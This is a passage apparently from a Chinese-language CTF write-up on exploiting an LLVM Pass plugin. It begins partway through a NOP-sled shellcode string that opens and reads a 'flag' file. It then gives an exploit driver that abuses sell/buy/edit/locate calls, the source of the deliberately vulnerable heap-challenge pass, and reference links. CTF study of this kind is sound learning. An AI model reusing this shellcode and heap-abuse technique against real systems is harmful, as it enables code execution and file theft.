x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xba\x66\x6c\x61\x67\x52\x48\x89\xe7\x31\xf6\x48\x31\xc0\xb0\x02\x0f\x05\x89\xc7\x48\x89\xe6\x31\xc0\x0f\x05\x66\x83\xf7\x02\x89\xf8\x0f\x05" ;void start () { sell (0 ); show (); buy (-0x15000 ); show (); sell (1 ); show (); buy (0x1000 ); show (); edit (0 ,buf); locate (); }
4.源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 #include "llvm/IR/PassManager.h" #include "llvm/Passes/PassBuilder.h" #include "llvm/Passes/PassPlugin.h" #include "llvm/Support/raw_ostream.h" #include <stdlib.h> #include <iostream> #include <time.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <seccomp.h> #include <sys/mman.h> #include <stdio.h> #define PGSIZE 4096 #define PGROUNDDOWN(a) (((a)) & ~(PGSIZE-1)) void *table[10 ];static int chunk_size[10 ]={0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 };static void *treasuremap=0 ;int init_done=0 ;int i = 0 ;static int money = 0 ;using namespace llvm;void init () { int i=0 ; srand (time (NULL )); while (i<10 ){ table[i] = malloc (0x70 ); chunk_size[i] = 0x70 ; i++; } treasuremap = table[0 ]; int flag=0 ; void * heap_addr = (void *)((unsigned long )table[0 ] & 0xfffffffffffff000 ); flag = mprotect (heap_addr,0x8000 ,PROT_EXEC | PROT_READ | PROT_WRITE); }void buried () { scmp_filter_ctx ctx; ctx = seccomp_init (SCMP_ACT_ALLOW); seccomp_rule_add (ctx, SCMP_ACT_KILL, SCMP_SYS (execve), 0 ); seccomp_rule_add (ctx, SCMP_ACT_KILL, SCMP_SYS (execveat), 0 ); seccomp_load (ctx); ((*(void (*) ()) (treasuremap)))(); }namespace {struct optimizer : public PassInfoMixin<optimizer> { PreservedAnalyses run (Function &F, FunctionAnalysisManager &FAM) { if (!init_done){ init (); init_done = 1 ; } std::cout << "Legend has it that there is a place where the treasure is buried." << std::endl; std::string VulnName = F.getName ().str (); std::cout << "You're a young business man and you want to : " << VulnName << std::endl; if (VulnName == "start" ){ SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end (); for (SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin (); bbIter != bbEnd; ++bbIter){ SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin (); SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end (); for (; instIter != instEnd; ++instIter){ if (instIter->getOpcode () == 56 ) { if (const CallInst* call_inst = dyn_cast <CallInst>(instIter)) { std::string FunctionName = call_inst->getCalledFunction ()->getName ().str (); if (FunctionName == "sell" ){ if (instIter->getNumOperands ()==2 ){ int idx1 = dyn_cast <ConstantInt>(call_inst->getArgOperand (0 ))->getZExtValue (); if (idx1>=0 && idx1<10 && (table[idx1])){ free (table[idx1]); table[idx1] = 0 ; money += chunk_size[idx1]; chunk_size[idx1] = 0 ; std::cout << "selled a land" << std::endl; } else { std::cout << "failed to sell" << std::endl; } } } else if (FunctionName == "buy" ){ if (instIter->getNumOperands ()==2 ){ unsigned int sz = dyn_cast <ConstantInt>(call_inst->getArgOperand (0 ))->getZExtValue (); i=0 ; if ((int )sz<=money){ while (i>=0 && i<=9 ){ if (!*(&(table[0 ])+i)){ *(&(table[0 ])+i) = malloc (sz); std::cout << "buy a land at : " << *(&(table[0 ])+i) << std::endl; chunk_size[i] = sz; money -= sz; break ; } else { i++; } } } } } else if (FunctionName == "edit" ){ if (instIter->getNumOperands ()==3 ){ int idx2 = dyn_cast <ConstantInt>(call_inst->getArgOperand (0 ))->getZExtValue (); if (idx2>=0 && idx2<=9 ){ Value* a = call_inst->getArgOperand (1 ); auto a2 = call_inst->arg_begin ()->get (); auto a3 = a->getType (); auto a4 = dyn_cast <GlobalVariable>(a); if (a4){ auto a5 = dyn_cast <ConstantDataArray>(a4->getInitializer ()); if (a5){ auto data = a5->getAsCString (); errs () << "edit a land" <<'\n' ; i=0 ; while (i<data.size () && i<=chunk_size[idx2]-8 ){ *((uint8_t *)table[idx2]+i) = data[i]; if (*((uint8_t *)table[idx2]+i)==0x0f ){ i++; *((uint8_t *)table[idx2]+i) = 0x05 ; } i++; } } } } } } else if (FunctionName == "locate" ){ if (instIter->getNumOperands ()==1 ){ std::cout << "locating treasure!" << std::endl; treasuremap = (uint8_t *)treasuremap + rand ()%0x4000 + 0x5000 ; buried (); exit (0 ); } } else if (FunctionName == "show" ){ std::cout << "Your money now : " << money << std::endl; } } } } } } return PreservedAnalyses::all (); } }; }extern "C" ::llvm::PassPluginLibraryInfo LLVM_ATTRIBUTE_WEAK llvmGetPassPluginInfo () { return { LLVM_PLUGIN_API_VERSION, "optimizer" , "v0.1" , [](PassBuilder &PB) { PB.registerPipelineParsingCallback ( [](StringRef Name, FunctionPassManager &FPM, ArrayRef<PassBuilder::PipelineElement>) { if (Name == "optimizer" ){ FPM.addPass (optimizer ()); return true ; } return false ; } ); } }; }
reference LLVM Language Reference Manual
https://llvm.org/(官网的Documentation很齐全)
[csdn]clang&llvm简介
LLVM从小白到放弃(一)- LLVM概述与LLVM环境搭建
[先知社区]初探LLVM&clang&pass
[简书]深入浅出让你理解什么是LLVM
[看雪]LLVM的IR指令详解
[理论基础]南京大学软件分析课程
《LLVM编译器实战教程》(Getting Started with LLVM Core Libraries)
[看雪]LLVM PASS PWN 总结